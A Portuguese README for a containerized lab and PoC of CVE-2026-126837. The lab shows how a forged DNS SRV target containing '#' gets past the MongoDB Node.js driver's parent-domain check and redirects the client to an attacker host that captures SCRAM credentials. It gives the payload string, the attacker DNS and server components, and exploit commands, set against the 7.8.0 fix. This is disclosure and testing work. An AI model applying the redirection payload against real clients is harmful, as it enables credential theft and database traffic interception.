Laboratório diferencial conteinerizado e PoC para CVE-2026-126837, demonstrando o redirecionamento de destino SRV no driver MongoDB Node.js e a captura de credenciais SCRAM nas versões 7.7.0 vs 7.8.0.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-126837 |
| Componente | Driver MongoDB para Node.js (mongodb, mongodb/node-mongodb-native) — Descoberta Inicial de Lista de Sementes via DNS |
| Afetado | 3.3.3 .. < 7.8.0 (semver) |
| Corrigido em | 7.8.0 (commit 19e2d3b83, NODE-7830) |
| CWE | CWE-180 — Validar Antes de Canonicalizar |
| CVSS | 4.0 — 9.1 CRÍTICO (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N); 3.1 — 7.4 ALTO |
| Impacto | Redirecionamento do tráfego do banco de dados para um host do atacante: interceptação de credenciais (prova SCRAM quebrável offline), divulgação não intencional de dados da aplicação, resultados de consulta alterados |
| Vetor | Resposta DNS SRV forjada ou influenciada pelo atacante para uma string de conexão mongodb+srv:// |
| Gatilho | Nome de alvo SRV contendo #, ? ou / antes do sufixo do domínio pai |
| Crédito | Aviso do fornecedor (nenhum relator nomeado no registro CVE) |
Uma falha de validação na proteção de domínio pai do SRV do driver permite que uma parte capaz de forjar ou modificar
a resposta DNS SRV redirecione um cliente mongodb+srv:// para qualquer host de sua escolha. A proteção
compara o alvo do SRV com o domínio pai usando um simples endsWith em uma string cuja
sintaxe nunca foi validada; o driver então reinterpreta a mesma string como uma URL, onde #, ?
e / terminam o nome do host prematuramente. A conexão é estabelecida com o host do atacante com
TLS voltado contra a vítima: o certificado é validado contra o nome redirecionado, que
o atacante possui legitimamente. O cliente então envia sua troca de autenticação SCRAM —
incluindo uma prova de cliente derivada da senha — para o atacante. Aplicações que usam URIs
mongodb:// simples não são afetadas.
A proteção vulnerável, src/utils.ts:1158 na v7.7.0:
export function checkParentDomainMatch(address: string, srvHost: string): void {
// Remove trailing dot if exists on either the resolved address or the srv hostname
const normalizedAddress = address.endsWith('.') ? address.slice(0, address.length - 1) : address;
const normalizedSrvHost = srvHost.endsWith('.') ? srvHost.slice(0, srvHost.length - 1) : srvHost;
const allCharacterBeforeFirstDot = /^.*?\./;
// Remove all characters before first dot
const addressDomain = `.${normalizedAddress.replace(allCharacterBeforeFirstDot, '')}`;
...
if (!addressDomain.endsWith(srvHostDomain)) {
throw new MongoAPIError('Server record does not share hostname with parent URI');
}
}
O guard remove um ponto final à direita, elimina tudo até ao primeiro . e chama
endsWith. Não realiza nenhuma validação de sintaxe do alvo SRV. A string validada flui então
para HostAddress.fromString() e é novamente analisada no construtor HostAddress
(src/utils.ts:890):
const urlString = `iLoveJS://${escapedHost}`;
url = new URL(urlString);
...
const hostname = url.hostname;
A aritmética que falha, para o host SRV cluster0.lab.mongodb.test (pai
.lab.mongodb.test) e o alvo forjado evil.attacker.test#.lab.mongodb.test:
guard: "evil.attacker.test#.lab.mongodb.test"
remove everything before first dot -> tail ".lab.mongodb.test" retained
-> endsWith(".lab.mongodb.test") = TRUE -> guard PASSES
URL parse: iLoveJS://evil.attacker.test#.lab.mongodb.test:27017
"#" starts the fragment -> hostname = "evil.attacker.test", port falls back to 27017
-> driver connects to evil.attacker.test
O # nunca bloqueia a comparação de sufixo porque a guarda compara a cauda da string bruta
(cujo # fica antes do sufixo), enquanto o parser de URL WHATWG trata o mesmo # como o
delimitador de fragmento e trunca o nome do host.
A correção na 7.8.0, src/utils.ts:1185-1216, canoniza antes de validar:
const FORBIDDEN_DOMAIN_CODE_POINTS = /[\u0000-\u0020\u007F#%/:<>?@[\\\]^|]/;
export function dnsNameToASCII(name: string): string | null {
if (FORBIDDEN_DOMAIN_CODE_POINTS.test(name)) {
return null;
}
const ascii = /^\p{ASCII}*$/u.test(name) ? name.toLowerCase() : domainToASCII(name);
return ascii === '' ? null : ascii;
}
export function normalizeDnsName(name: string): string {
const withoutTrailingDot = name.endsWith('.') ? name.slice(0, -1) : name;
const normalized = dnsNameToASCII(withoutTrailingDot);
if (normalized == null) {
throw new MongoAPIError('Invalid DNS host name');
}
return normalized;
}
Aplicado no único local de chamada SRV, src/connection_string.ts:128-130:
const host = normalizeDnsName(name);
verifySrvHost(host, lookupAddress, options);
return HostAddress.fromString(`${host}:${port ?? 27017}`);
Qualquer #, ?, / ou outro ponto de código proibido pelo WHATWG agora lança MongoAPIError: Invalid DNS host name antes da guarda, antes de HostAddress.fromString e antes de qualquer socket ser aberto.
Uma única imagem de contêiner (cve-2026-126837:vuln) carrega todo o diferencial:
lab/src/dnsd.py) em 127.0.0.1:53 — o
/etc/resolv.conf do contêiner aponta para ele, então toda resolução de nomes (incluindo a consulta SRV
c-ares do Node) passa por DNS controlado pelo atacante. Ele responde à consulta SRV
_mongodb._tcp.cluster0.lab.mongodb.test com o alvo escolhido pelo atacante e resolve
evil.attacker.test para 127.0.0.1;lab/src/evilserver.py) em 127.0.0.1:27017 — endpoint TLS com um
certificado emitido pela CA do laboratório (substituto do certificado publicamente confiável que um atacante
possui para seu próprio domínio), falando o suficiente do protocolo de rede do MongoDB (OP_QUERY ismaster,
OP_MSG hello/saslStart/saslContinue) para completar o handshake SDAM e capturar a
troca SCRAM-SHA-256;lab/src/service.js) — executa cada tentativa de conexão com um processo filho
da build do driver selecionada (para que uma falha no nível do driver seja observada em vez de
derrubar o serviço) e expõe as observações do atacante e do servidor DNS via
HTTP;vuln = [email protected], fixed =
[email protected], além de v6 = 6.22.0, v5 = 5.9.2, v4 = 4.17.2, v3 = 3.7.4 para a
matriz de faixas afetadas.Os lados vulnerável e corrigido diferem apenas na versão do pacote do driver: mesma imagem base, mesmo servidor DNS, mesmo listener do atacante, mesmo serviço, mesma tentativa de conexão.
./run-lab.sh build # build lab + poc images
./run-lab.sh up # create network cve126837lab, start lab, wait for health
./run-lab.sh all # build, up, every PoC mode, capture evidence/, down-state logs
Modos individuais:
./run-lab.sh poc check --driver vuln # exit 1 = vulnerable
./run-lab.sh poc check --driver fixed # exit 0 = safe
./run-lab.sh poc exploit --driver vuln # full SCRAM credential capture
./run-lab.sh poc probe # companion primitives, differential
./run-lab.sh poc mitigation --driver vuln
./run-lab.sh poc sweep # 42-payload 0-day sweep on both builds
./run-lab.sh poc versions # 3.x .. 7.x affected-range matrix
./run-lab.sh state # copy DNS/attacker logs into evidence/
make build|up|down|check-vuln|check-fixed|exploit-vuln|exploit-fixed|probe|sweep|versions|all
espelha os mesmos alvos. O próprio PoC é Python 3 apenas com biblioteca padrão e também é executado diretamente como
python3 poc/poc.py <mode> contra qualquer serviço de laboratório acessível.